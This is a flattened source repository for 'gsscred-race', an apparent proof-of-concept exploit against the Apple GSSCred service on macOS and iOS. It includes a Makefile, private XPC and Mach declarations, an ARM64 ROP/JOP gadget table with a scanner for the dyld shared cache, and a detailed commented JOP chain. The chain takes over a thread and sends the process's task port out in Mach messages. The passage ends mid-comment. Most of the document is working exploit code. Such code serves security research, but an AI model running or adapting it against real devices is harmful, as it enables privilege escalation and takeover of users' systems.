├── Makefile ├── gsscred_race ├── apple_private.h ├── arm64 │ ├── arm64_payload.c │ ├── arm64_payload.h │ ├── gadgets.c │ ├── gadgets.h │ └── payload_strategy_1.c ├── gsscred_race.c ├── gsscred_race.h ├── log.c ├── log.h ├── main.c ├── payload.c └── payload.h └── gsscred_race_ios ├── gsscred_race_ios.xcodeproj ├── project.pbxproj └── project.xcworkspace │ └── contents.xcworkspacedata └── gsscred_race_ios ├── AppDelegate.h ├── AppDelegate.m ├── Assets.xcassets └── AppIcon.appiconset │ └── Contents.json ├── Base.lproj ├── LaunchScreen.storyboard └── Main.storyboard ├── Info.plist ├── ViewController.h ├── ViewController.m └── main.m /Makefile: -------------------------------------------------------------------------------- 1 | TARGET = gsscred-race 2 | 3 | DEBUG ?= 0 4 | ARCH ?= x86_64 5 | SDK ?= macosx 6 | SIGNING_ID ?= - 7 | 8 | SYSROOT := $(shell xcrun --sdk $(SDK) --show-sdk-path) 9 | ifeq ($(SYSROOT),) 10 | $(error Could not find SDK "$(SDK)") 11 | endif 12 | CLANG := $(shell xcrun --sdk $(SDK) --find clang) 13 | CC := $(CLANG) -isysroot $(SYSROOT) -arch $(ARCH) 14 | CODESIGN := codesign 15 | 16 | CFLAGS = -O2 -Wall -Werror 17 | 18 | ifneq ($(DEBUG),0) 19 | DEFINES += -DDEBUG=$(DEBUG) 20 | endif 21 | 22 | SOURCE_DIR = gsscred_race 23 | 24 | FRAMEWORKS = -framework Foundation 25 | 26 | SOURCES = gsscred_race.c \ 27 | log.c \ 28 | main.c \ 29 | payload.c \ 30 | $(ARCH_SOURCES) 31 | 32 | HEADERS = apple_private.h \ 33 | log.h \ 34 | gsscred_race.h \ 35 | payload.h \ 36 | $(ARCH_HEADERS) 37 | 38 | ARCH_arm64_SOURCES = arm64_payload.c \ 39 | gadgets.c \ 40 | payload_strategy_1.c 41 | 42 | ARCH_arm64_HEADERS = arm64_payload.h \ 43 | gadgets.h 44 | 45 | ARCH_SOURCES = $(ARCH_$(ARCH)_SOURCES:%=$(ARCH)/%) 46 | ARCH_HEADERS = $(ARCH_$(ARCH)_HEADERS:%=$(ARCH)/%) 47 | 48 | SOURCES := $(SOURCES:%=$(SOURCE_DIR)/%) 49 | HEADERS := $(HEADERS:%=$(SOURCE_DIR)/%) 50 | 51 | CFLAGS += -I$(SOURCE_DIR) 52 | 53 | all: $(TARGET) 54 | 55 | $(TARGET): $(SOURCES) $(HEADERS) 56 | $(CC) $(CFLAGS) $(FRAMEWORKS) $(DEFINES) -o $@ $(SOURCES) 57 | $(CODESIGN) -s '$(SIGNING_ID)' $@ 58 | 59 | clean: 60 | rm -f -- $(TARGET) 61 | -------------------------------------------------------------------------------- /gsscred_race/apple_private.h: -------------------------------------------------------------------------------- 1 | #ifndef GSSCRED_RACE__APPLE_PRIVATE_H_ 2 | #define GSSCRED_RACE__APPLE_PRIVATE_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #pragma clang diagnostic push 9 | #pragma clang diagnostic ignored "-Wnullability-completeness" 10 | 11 | #if __x86_64__ 12 | 13 | // ---- Header files not available on iOS --------------------------------------------------------- 14 | 15 | #include 16 | #include 17 | 18 | #else /* __x86_64__ */ 19 | 20 | // If we're not on x86_64, then we probably don't have access to the above headers. The following 21 | // definitions are copied directly from the macOS header files. 22 | 23 | // ---- Definitions from xpc/base.h --------------------------------------------------------------- 24 | 25 | #define XPC_EXPORT extern __attribute__((visibility("default"))) 26 | #define XPC_INLINE static __inline__ __attribute__((__always_inline__)) 27 | #define XPC_MALLOC __attribute__((__malloc__)) 28 | #define XPC_NONNULL1 __attribute__((__nonnull__(1))) 29 | #define XPC_NONNULL2 __attribute__((__nonnull__(2))) 30 | #define XPC_NONNULL3 __attribute__((__nonnull__(3))) 31 | #define XPC_NONNULL4 __attribute__((__nonnull__(4))) 32 | #define XPC_NONNULL_ALL __attribute__((__nonnull__)) 33 | #define XPC_WARN_RESULT __attribute__((__warn_unused_result__)) 34 | 35 | #if __has_feature(nullability_on_arrays) 36 | #define XPC_NONNULL_ARRAY _Nonnull 37 | #else 38 | #define XPC_NONNULL_ARRAY 39 | #endif 40 | 41 | // ---- Definitions from xpc/xpc.h ---------------------------------------------------------------- 42 | 43 | typedef const struct _xpc_type_s * xpc_type_t; 44 | #define XPC_TYPE(type) const struct _xpc_type_s type 45 | 46 | #if OS_OBJECT_USE_OBJC 47 | OS_OBJECT_DECL(xpc_object); 48 | #define XPC_DECL(name) typedef xpc_object_t name##_t 49 | #define XPC_GLOBAL_OBJECT(object) ((OS_OBJECT_BRIDGE xpc_object_t)&(object)) 50 | #define XPC_RETURNS_RETAINED OS_OBJECT_RETURNS_RETAINED 51 | XPC_INLINE XPC_NONNULL_ALL 52 | void 53 | _xpc_object_validate(xpc_object_t object) { 54 | void *isa = *(void * volatile *)(OS_OBJECT_BRIDGE void *)object; 55 | (void)isa; 56 | } 57 | #else // OS_OBJECT_USE_OBJC 58 | typedef void * xpc_object_t; 59 | #define XPC_DECL(name) typedef struct _##name##_s * name##_t 60 | #define XPC_GLOBAL_OBJECT(object) (&(object)) 61 | #define XPC_RETURNS_RETAINED 62 | #endif // OS_OBJECT_USE_OBJC 63 | 64 | #if __BLOCKS__ 65 | typedef void (^xpc_handler_t)(xpc_object_t object); 66 | #endif // __BLOCKS__ 67 | 68 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 69 | XPC_EXPORT 70 | XPC_TYPE(_xpc_type_connection); 71 | XPC_DECL(xpc_connection); 72 | 73 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 74 | XPC_EXPORT XPC_NONNULL1 75 | void 76 | xpc_release(xpc_object_t object); 77 | #if OS_OBJECT_USE_OBJC_RETAIN_RELEASE 78 | #undef xpc_release 79 | #define xpc_release(object) ({ xpc_object_t _o = (object); \ 80 | _xpc_object_validate(_o); [_o release]; }) 81 | #endif // OS_OBJECT_USE_OBJC_RETAIN_RELEASE 82 | 83 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 84 | XPC_EXPORT XPC_MALLOC XPC_WARN_RESULT XPC_NONNULL1 85 | char * 86 | xpc_copy_description(xpc_object_t object); 87 | 88 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 89 | XPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1 90 | xpc_object_t 91 | xpc_data_create_with_dispatch_data(dispatch_data_t ddata); 92 | 93 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 94 | XPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT 95 | xpc_object_t 96 | xpc_array_create(const xpc_object_t _Nonnull * _Nullable objects, size_t count); 97 | 98 | #define XPC_ARRAY_APPEND ((size_t)(-1)) 99 | 100 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 101 | XPC_EXPORT XPC_NONNULL1 XPC_NONNULL3 102 | void 103 | xpc_array_set_string(xpc_object_t xarray, size_t index, const char *string); 104 | 105 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 106 | XPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT 107 | xpc_object_t 108 | xpc_dictionary_create(const char * _Nonnull const * _Nullable keys, 109 | const xpc_object_t _Nullable * _Nullable values, size_t count); 110 | 111 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 112 | XPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 113 | void 114 | xpc_dictionary_set_value(xpc_object_t xdict, const char *key, 115 | xpc_object_t _Nullable value); 116 | 117 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 118 | XPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1 XPC_NONNULL2 119 | xpc_object_t _Nullable 120 | xpc_dictionary_get_value(xpc_object_t xdict, const char *key); 121 | 122 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 123 | XPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_NONNULL3 124 | void 125 | xpc_dictionary_set_string(xpc_object_t xdict, const char *key, 126 | const char *string); 127 | 128 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 129 | XPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_NONNULL3 130 | void 131 | xpc_dictionary_set_uuid(xpc_object_t xdict, const char *key, 132 | const uuid_t XPC_NONNULL_ARRAY uuid); 133 | 134 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 135 | XPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1 XPC_NONNULL2 136 | const uint8_t * _Nullable 137 | xpc_dictionary_get_uuid(xpc_object_t xdict, const char *key); 138 | 139 | // ---- Definitions from xpc/connection.h --------------------------------------------------------- 140 | 141 | #if __BLOCKS__ 142 | 143 | #define XPC_ERROR_CONNECTION_INTERRUPTED \ 144 | XPC_GLOBAL_OBJECT(_xpc_error_connection_interrupted) 145 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 146 | XPC_EXPORT 147 | const struct _xpc_dictionary_s _xpc_error_connection_interrupted; 148 | 149 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 150 | XPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1 151 | xpc_connection_t 152 | xpc_connection_create_mach_service(const char *name, 153 | dispatch_queue_t _Nullable targetq, uint64_t flags); 154 | 155 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 156 | XPC_EXPORT XPC_NONNULL_ALL 157 | void 158 | xpc_connection_set_event_handler(xpc_connection_t connection, 159 | xpc_handler_t handler); 160 | 161 | __OSX_AVAILABLE(10.12) __IOS_AVAILABLE(10.0) 162 | __TVOS_AVAILABLE(10.0) __WATCHOS_AVAILABLE(3.0) 163 | XPC_EXPORT XPC_NONNULL_ALL 164 | void 165 | xpc_connection_activate(xpc_connection_t connection); 166 | 167 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 168 | XPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_NONNULL4 169 | void 170 | xpc_connection_send_message_with_reply(xpc_connection_t connection, 171 | xpc_object_t message, dispatch_queue_t _Nullable replyq, 172 | xpc_handler_t handler); 173 | 174 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 175 | XPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT XPC_RETURNS_RETAINED 176 | xpc_object_t 177 | xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, 178 | xpc_object_t message); 179 | 180 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 181 | XPC_EXPORT XPC_NONNULL_ALL 182 | void 183 | xpc_connection_cancel(xpc_connection_t connection); 184 | 185 | #endif // __BLOCKS__ 186 | 187 | // ---- Definitions from mach/mach_vm.h ----------------------------------------------------------- 188 | 189 | extern 190 | kern_return_t mach_vm_allocate 191 | ( 192 | vm_map_t target, 193 | mach_vm_address_t *address, 194 | mach_vm_size_t size, 195 | int flags 196 | ); 197 | 198 | extern 199 | kern_return_t mach_vm_deallocate 200 | ( 201 | vm_map_t target, 202 | mach_vm_address_t address, 203 | mach_vm_size_t size 204 | ); 205 | 206 | extern 207 | kern_return_t mach_vm_remap 208 | ( 209 | vm_map_t target_task, 210 | mach_vm_address_t *target_address, 211 | mach_vm_size_t size, 212 | mach_vm_offset_t mask, 213 | int flags, 214 | vm_map_t src_task, 215 | mach_vm_address_t src_address, 216 | boolean_t copy, 217 | vm_prot_t *cur_protection, 218 | vm_prot_t *max_protection, 219 | vm_inherit_t inheritance 220 | ); 221 | 222 | extern 223 | kern_return_t mach_vm_region_recurse 224 | ( 225 | vm_map_t target_task, 226 | mach_vm_address_t *address, 227 | mach_vm_size_t *size, 228 | natural_t *nesting_depth, 229 | vm_region_recurse_info_t info, 230 | mach_msg_type_number_t *infoCnt 231 | ); 232 | 233 | #endif /* __x86_64__ */ 234 | 235 | // The following definitions are not available in the header files for any platform. They are 236 | // copied from the corresponding header files available at opensource.apple.com (if available). 237 | 238 | // ---- Definitions from libdispatch private/data_private.h --------------------------------------- 239 | 240 | /*! 241 | * @const DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE 242 | * @discussion The destructor for dispatch data objects that have been created 243 | * from buffers that require deallocation using vm_deallocate. 244 | */ 245 | #define DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE \ 246 | (_dispatch_data_destructor_vm_deallocate) 247 | API_AVAILABLE(macos(10.8), ios(6.0)) DISPATCH_LINUX_UNAVAILABLE() 248 | DISPATCH_DATA_DESTRUCTOR_TYPE_DECL(vm_deallocate); 249 | 250 | // ---- Definitions from private libxpc headers --------------------------------------------------- 251 | 252 | __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0) 253 | XPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 254 | void 255 | xpc_dictionary_set_mach_send(xpc_object_t xdict, const char *key, 256 | mach_port_t mach_send); 257 | 258 | #pragma clang diagnostic pop 259 | 260 | #endif 261 | -------------------------------------------------------------------------------- /gsscred_race/arm64/arm64_payload.c: -------------------------------------------------------------------------------- 1 | #include "arm64_payload.h" 2 | 3 | #include "apple_private.h" 4 | #include "arm64/gadgets.h" 5 | #include "log.h" 6 | 7 | const struct payload_strategy *strategies[] = { 8 | &payload_strategy_1, 9 | }; 10 | 11 | #define STRATEGY_NOT_CHOSEN ((const struct payload_strategy *)1) 12 | 13 | // The chosen payload strategy. 14 | static const struct payload_strategy *chosen_strategy = STRATEGY_NOT_CHOSEN; 15 | 16 | // Find the dyld shared cache's code segments in our process. 17 | static bool 18 | find_dyld_shared_cache(const void **dyld_shared_cache, size_t *dyld_shared_cache_size) { 19 | const uint32_t DYLD_SHARED_CACHE_DEPTH = 1; 20 | const int DYLD_SHARED_CACHE_PROTECTION = VM_PROT_READ | VM_PROT_EXECUTE; 21 | // First get an address in some cache region. 22 | mach_vm_address_t begin, end, address = (mach_vm_address_t) malloc; 23 | mach_vm_size_t size; 24 | uint32_t depth = DYLD_SHARED_CACHE_DEPTH + 1; 25 | vm_region_submap_info_data_64_t info; 26 | mach_msg_type_number_t count = VM_REGION_SUBMAP_INFO_COUNT_64; 27 | kern_return_t kr = mach_vm_region_recurse(mach_task_self(), &address, &size, 28 | &depth, (vm_region_recurse_info_t) &info, &count); 29 | if (kr != KERN_SUCCESS) { 30 | ERROR("%s: %x", "mach_vm_region_recurse", kr); 31 | return false; 32 | } 33 | if (depth != DYLD_SHARED_CACHE_DEPTH) { 34 | ERROR("Unexpected dyld shared cache memory protection %x", info.protection); 35 | return false; 36 | } 37 | if (info.protection != DYLD_SHARED_CACHE_PROTECTION) { 38 | ERROR("Unexpected dyld shared cache memory protection %x", info.protection); 39 | return false; 40 | } 41 | DEBUG_TRACE(3, "DYLD: Initial region %016llx - %016llx", address, address + size); 42 | // Save the current end address for later. 43 | end = address + size; 44 | // Now go backwards until we find a memory region not contained in the dyld shared cache. 45 | for (;;) { 46 | begin = address; 47 | address = begin - 1; 48 | depth = DYLD_SHARED_CACHE_DEPTH + 1; 49 | count = VM_REGION_SUBMAP_INFO_COUNT_64; 50 | kern_return_t kr = mach_vm_region_recurse(mach_task_self(), &address, &size, 51 | &depth, (vm_region_recurse_info_t) &info, &count); 52 | if (kr != KERN_SUCCESS 53 | || address + size != begin 54 | || depth != DYLD_SHARED_CACHE_DEPTH 55 | || info.protection != DYLD_SHARED_CACHE_PROTECTION) { 56 | break; 57 | } 58 | DEBUG_TRACE(3, "DYLD: Incorporating region %016llx - %016llx", address, 59 | address + size); 60 | } 61 | // Now go forwards until we find a memory region not contained in the cache. 62 | for (;;) { 63 | address = end; 64 | depth = DYLD_SHARED_CACHE_DEPTH + 1; 65 | count = VM_REGION_SUBMAP_INFO_COUNT_64; 66 | kern_return_t kr = mach_vm_region_recurse(mach_task_self(), &address, &size, 67 | &depth, (vm_region_recurse_info_t) &info, &count); 68 | if (kr != KERN_SUCCESS 69 | || address != end 70 | || depth != DYLD_SHARED_CACHE_DEPTH 71 | || info.protection != DYLD_SHARED_CACHE_PROTECTION) { 72 | break; 73 | } 74 | DEBUG_TRACE(3, "DYLD: Incorporating region %016llx - %016llx", address, 75 | address + size); 76 | end = address + size; 77 | } 78 | // Return the region. 79 | *dyld_shared_cache = (const void *) begin; 80 | *dyld_shared_cache_size = end - begin; 81 | return true; 82 | } 83 | 84 | // Find all gadgets in the dyld shared cache's 85 | static void 86 | find_gadgets_in_dyld_shared_cache() { 87 | const void *dyld_shared_cache; 88 | size_t dyld_shared_cache_size; 89 | bool found = find_dyld_shared_cache(&dyld_shared_cache, &dyld_shared_cache_size); 90 | if (!found) { 91 | ERROR("Could not locate dyld shared cache"); 92 | return; 93 | } 94 | DEBUG_TRACE(2, "dyld shared cache at 0x%llx - 0x%llx", 95 | (unsigned long long) dyld_shared_cache, 96 | (unsigned long long) dyld_shared_cache + dyld_shared_cache_size); 97 | // The dyld shared cache is mapped at the same address in every process, so we can use its 98 | // address in our process. 99 | find_gadgets((uint64_t) dyld_shared_cache, dyld_shared_cache, dyld_shared_cache_size); 100 | } 101 | 102 | // Choose the payload strategy given the available gadgets. 103 | static void 104 | choose_payload_strategy() { 105 | for (size_t i = 0; i < sizeof(strategies) / sizeof(strategies[0]); i++) { 106 | const struct payload_strategy *strategy = strategies[i]; 107 | if (strategy->check_platform()) { 108 | DEBUG_TRACE(2, "Using payload strategy %zu", i + 1); 109 | chosen_strategy = strategy; 110 | return; 111 | } 112 | } 113 | chosen_strategy = NULL; 114 | } 115 | 116 | const struct payload_strategy * 117 | arm64_choose_payload(void) { 118 | if (chosen_strategy == STRATEGY_NOT_CHOSEN) { 119 | find_gadgets_in_dyld_shared_cache(); 120 | choose_payload_strategy(); 121 | } 122 | return chosen_strategy; 123 | } 124 | -------------------------------------------------------------------------------- /gsscred_race/arm64/arm64_payload.h: -------------------------------------------------------------------------------- 1 | #ifndef GSSCRED_RACE__ARM64__ARM64_PAYLOAD_H_ 2 | #define GSSCRED_RACE__ARM64__ARM64_PAYLOAD_H_ 3 | 4 | #include "payload.h" 5 | 6 | // A strategy for the exploit payload. Because we're relying on ROP/JOP programs to implement the 7 | // payload, we may not find the specific gadgets we'd like to use in all builds and on all 8 | // platforms. You can add a new strategy to support a new build and platform. 9 | struct payload_strategy { 10 | // Check if this payload is suitable for the current platform. 11 | bool (*check_platform)(void); 12 | // Build the payload in the specified payload buffer. 13 | platform_payload_generator_fn build_payload; 14 | // Process the Mach message sent by the exploit payload. Returns a task port and a thread 15 | // port for a thread in the task. Any post-processing needed to stabilize the process after 16 | // the exploit happens here. 17 | payload_message_processor_fn process_message; 18 | }; 19 | 20 | // The currently defined strategies. 21 | extern const struct payload_strategy payload_strategy_1; 22 | 23 | // Choose the payload generation strategy most suitable for the current arm64 platform. 24 | const struct payload_strategy *arm64_choose_payload(void); 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /gsscred_race/arm64/gadgets.c: -------------------------------------------------------------------------------- 1 | #include "arm64/gadgets.h" 2 | 3 | #include 4 | #include 5 | 6 | // NOTE: Keep this list synchronized with the enumeration in the header. 7 | #define G(str, ...) \ 8 | { 0, sizeof((uint32_t[]) { __VA_ARGS__ }) / sizeof(uint32_t), \ 9 | (const uint32_t *) &(const uint32_t[]) { __VA_ARGS__ }, str } 10 | struct gadget gadgets[GADGET_COUNT] = { 11 | G("ldp x1, x0, [x0, #0x20] ; br x1", 0xa9420001, 0xd61f0020), 12 | G("ldp x8, x2, [x19] ; blr x8", 0xa9400a68, 0xd63f0100), 13 | G("ldp x3, x2, [x2] ; br x3", 0xa9400843, 0xd61f0060), 14 | G("add x1, x21, x20 ; blr x8", 0x8b1402a1, 0xd63f0100), 15 | 16 | G("mov x20, x1 ; blr x8", 0xaa0103f4, 0xd63f0100), 17 | G("str x1, [x19, #0x80] ; blr x8", 0xf9004261, 0xd63f0100), 18 | G("mov x0, x26 ; blr x8", 0xaa1a03e0, 0xd63f0100), 19 | G("sub x1, x1, x0 ; blr x8", 0xcb000021, 0xd63f0100), 20 | 21 | G("mov x13, x1 ; br x8", 0xaa0103ed, 0xd61f0100), 22 | G("mov x9, x13 ; br x8", 0xaa0d03e9, 0xd61f0100), 23 | G("mov x11, x24 ; br x8", 0xaa1803eb, 0xd61f0100), 24 | G("cmp x9, #0 ; csel x1, x10, x9, eq ; blr x8", 0xf100013f, 0x9a890141, 0xd63f0100), 25 | 26 | G("mov x9, x22 ; br x8", 0xaa1603e9, 0xd61f0100), 27 | G("csel x2, x11, x9, lt ; blr x8", 0x9a89b162, 0xd63f0100), 28 | G("mov x0, x27 ; blr x8", 0xaa1b03e0, 0xd63f0100), 29 | G("blr x23 ; mov x0, x21 ; blr x25", 0xd63f02e0, 0xaa1503e0, 0xd63f0320), 30 | 31 | G("ldr x8, [x19, #0x10] ; blr x8", 0xf9400a68, 0xd63f0100), 32 | G("blr x8", 0xd63f0100), 33 | }; 34 | #undef G 35 | 36 | void 37 | find_gadgets(uint64_t address, const void *code, size_t size) { 38 | assert((address & 0x3) == 0); 39 | for (size_t i = 0; i < GADGET_COUNT; i++) { 40 | if (gadgets[i].address != 0) { 41 | continue; 42 | } 43 | const uint8_t *start = code; 44 | for (;;) { 45 | const uint8_t *found = memmem(start, size, gadgets[i].ins, 46 | gadgets[i].count * sizeof(*gadgets[i].ins)); 47 | if (found == NULL) { 48 | break; 49 | } 50 | if (((uintptr_t) found) % sizeof(*gadgets[i].ins) == 0) { 51 | gadgets[i].address = address + (found - (const uint8_t *)code); 52 | break; 53 | } 54 | size -= (found + 1 - start); 55 | start = found + 1; 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /gsscred_race/arm64/gadgets.h: -------------------------------------------------------------------------------- 1 | #ifndef GSSCRED_RACE__ARM64__GADGETS_H_ 2 | #define GSSCRED_RACE__ARM64__GADGETS_H_ 3 | 4 | #include 5 | #include 6 | 7 | // Represents a static gadget. 8 | struct gadget { 9 | // The runtime address of the gadget. 10 | uint64_t address; 11 | // The number of instructions in the gadget. 12 | const uint32_t count; 13 | // The sequence of instructions in the gadget. 14 | const uint32_t *const ins; 15 | // A string representation of the gadget. Mostly useful for debugging. 16 | const char *const str; 17 | }; 18 | 19 | // The list of static gadgets. 20 | extern struct gadget gadgets[]; 21 | 22 | // Named indices for the gadgets. 23 | enum { 24 | LDP_X1_X0_X0_20__BR_X1, 25 | LDP_X8_X2_X19__BLR_X8, 26 | LDP_X3_X2_X2__BR_X3, 27 | ADD_X1_X21_X20__BLR_X8, 28 | 29 | MOV_X20_X1_BLR_X8, 30 | STR_X1_X19_80__BLR_X8, 31 | MOV_X0_X26__BLR_X8, 32 | SUB_X1_X1_X0__BLR_X8, 33 | 34 | MOV_X13_X1__BR_X8, 35 | MOV_X9_X13__BR_X8, 36 | MOV_X11_X24__BR_X8, 37 | CMP_X9_0__CSEL_X1_X10_X9_EQ__BLR_X8, 38 | 39 | MOV_X9_X22__BR_X8, 40 | CSEL_X2_X11_X9_LT__BLR_X8, 41 | MOV_X0_X27__BLR_X8, 42 | BLR_X23__MOV_X0_X21__BLR_X25, 43 | 44 | LDR_X8_X19_10__BLR_X8, 45 | BLR_X8, 46 | 47 | GADGET_COUNT 48 | }; 49 | 50 | // Process the given region of code to try and find all the gadgets above. 51 | void find_gadgets(uint64_t address, const void *code, size_t size); 52 | 53 | #endif 54 | -------------------------------------------------------------------------------- /gsscred_race/arm64/payload_strategy_1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * gsscred-race 3 | * Brandon Azad 4 | * 5 | * 6 | * The ARM64 exploit payload 7 | * ------------------------------------------------------------------------------------------------ 8 | * 9 | * Here's a detailed runthrough of one of the exploit strategies used by the exploit payload on 10 | * ARM64. 11 | * 12 | * 13 | * The JOP program 14 | * --------------- 15 | * 16 | * We can't actually inject new code into GSSCred, so we use JOP to reuse existing code fragments 17 | * in useful ways. The following listing shows the full execution of the JOP program, starting 18 | * from the moment we get PC control. 19 | * 20 | * ----------------------------------------------------------------------------------------------- 21 | * 22 | * ENTRY: 23 | * REGION_ARG1 = { 24 | * 0 : ISA (generic payload) 25 | * 20 : _longjmp 26 | * 28 : REGION_JMPBUF 27 | * } 28 | * REGION_JMPBUF = { 29 | * 0 : x19 = REGION_X19 30 | * 8 : x20 = INITIAL_REMOTE_AND_LOCAL_PORT 31 | * 10 : x21 = PORT_INCREMENT 32 | * 18 : x22 = JOP_STACK_FINALIZE 33 | * 20 : x23 = mach_msg_send 34 | * 28 : x24 = JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP 35 | * 30 : x25 = LDP_X8_X2_X19__BLR_X8 36 | * 38 : x26 = MAX_REMOTE_AND_LOCAL_PORT 37 | * 40 : x27 = REGION_MACH_MESSAGE 38 | * 58 : x30 = LDP_X8_X2_X19__BLR_X8 39 | * 68 : sp = FAKE_STACK_ADDRESS 40 | * } 41 | * REGION_X19 = { 42 | * 0 : LDP_X3_X2_X2__BR_X3 43 | * 8 : JOP_STACK_INCREMENT_PORT_AND_BRANCH 44 | * 10 : BLR_X8 45 | * 78 = REGION_MACH_MESSAGE 46 | * 80 : REGION_MACH_MESSAGE[8] 47 | * } 48 | * REGION_MACH_MESSAGE = { 49 | * 0 : msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND, 0, 0); 50 | * 4 : msgh_size = sizeof(mach_msg_header_t) = 0x18 51 | * 8 : msgh_remote_port 52 | * c : msgh_local_port 53 | * 10 : msgh_voucher_port = 0 54 | * 14 : msgh_id = GSSCRED_RACE_MACH_MESSAGE_ID 55 | * } 56 | * JOP_STACK_INCREMENT_PORT_AND_BRANCH = [ 57 | * ADD_X1_X21_X20__BLR_X8 58 | * MOV_X20_X1_BLR_X8 59 | * STR_X1_X19_80__BLR_X8 60 | * MOV_X0_X26__BLR_X8 61 | * SUB_X1_X1_X0__BLR_X8 62 | * MOV_X13_X1__BR_X8 63 | * MOV_X9_X13__BR_X8 64 | * MOV_X11_X24__BR_X8 65 | * CMP_X9_0__CSEL_X1_X10_X9_EQ__BLR_X8 66 | * MOV_X9_X22__BR_X8 67 | * CSEL_X2_X11_X9_LT__BLR_X8 68 | * ] 69 | * JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP = [ 70 | * MOV_X0_X27__BLR_X8 71 | * BLR_X23__MOV_X0_X21__BLR_X25 72 | * ] 73 | * JOP_STACK_FINALIZE = [ 74 | * LDR_X8_X19_10__BLR_X8 75 | * ] 76 | * x0 = REGION_ARG1 77 | * pc = LDP_X1_X0_X0_20__BR_X1 78 | * 79 | * ;; We get control of PC with X0 pointing to a fake "name" Objective-C object. 80 | * ;; The isa pointer is managed by the generic part of the payload, but 81 | * ;; everything after that is usable for the arm64 payload. 82 | * ;; 83 | * ;; Before entering the main loop, we need to set registers x19 through x27. We 84 | * ;; could try to preserve the callee-saved registers and x29, x30, and sp so 85 | * ;; that our caller could resume after the exploit payload runs, but it's easier 86 | * ;; to just obliterate these registers and permanently stall this thread so that 87 | * ;; the corruption never manifests a crash. Unfortunately, this also means we 88 | * ;; leak all associated resources, so we have only one shot before we risk 89 | * ;; violating the Jetsam limit. 90 | * ;; 91 | * ;; We need to set the following register values: 92 | * ;; x19 = REGION_X19 93 | * ;; x20 = INITIAL_REMOTE_AND_LOCAL_PORT 94 | * ;; x21 = PORT_INCREMENT 95 | * ;; x22 = JOP_STACK_FINALIZE 96 | * ;; x23 = mach_msg_send 97 | * ;; x24 = JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP 98 | * ;; x25 = LDP_X8_X2_X19__BLR_X8 99 | * ;; x26 = MAX_REMOTE_AND_LOCAL_PORT 100 | * ;; x27 = REGION_MACH_MESSAGE 101 | * 102 | * LDP_X1_X0_X0_20__BR_X1 (common): 103 | * ldp x1, x0, [x0, #0x20] 104 | * br x1 105 | * x1 = REGION_ARG1[20] = _longjmp 106 | * x0 = REGION_ARG1[28] = REGION_JMPBUF 107 | * 108 | * _longjmp: 109 | * x19 = REGION_X19 110 | * x20 = INITIAL_REMOTE_AND_LOCAL_PORT 111 | * x21 = PORT_INCREMENT 112 | * x22 = JOP_STACK_FINALIZE 113 | * x23 = mach_msg_send 114 | * x24 = JOP_STACK_SEND_MACH_MESSAGE_AND_LOOP 115 | * x25 = LDP_X8_X2_X19__BLR_X8 116 | * x26 = MAX_REMOTE_AND_LOCAL_PORT 117 | * x27 = REGION_MACH_MESSAGE 118 | * x30 = LDP_X8_X2_X19__BLR_X8 119 | * sp = FAKE_STACK_ADDRESS 120 | * pc = LDP_X8_X2_X19__BLR_X8 121 | * 122 | * ;; We are about to enter the main loop, which will repeatedly send Mach 123 | * ;; messages containing the the current process's task port to incrementing 124 | * ;; remote port numbers. 125 | * ;; 126 | * ;; These are the registers during execution: 127 | * ;; x2 = Current JOP stack position 128 | * ;; x3 = Current gadget 129 | * ;; x8 = LDP_X3_X2_X2__BR_X3 130 | * ;; x20 = CURRENT_REMOTE_AND_LOCAL_PORT 131 | * 132 | * LDP_X8_X2_X19__BLR_X8 (CoreUtils): 133 | * ldp x8, x2, [x19] 134 | * blr x8 135 | * x8 = REGION_X19[0] = LDP_X3_X2_X2__BR_X3 136 | * x2 = REGION_X19[8] = JOP_STACK_INCREMENT_PORT_AND_BRANCH 137 | * pc = LDP_X3_X2_X2__BR_X3 138 | * 139 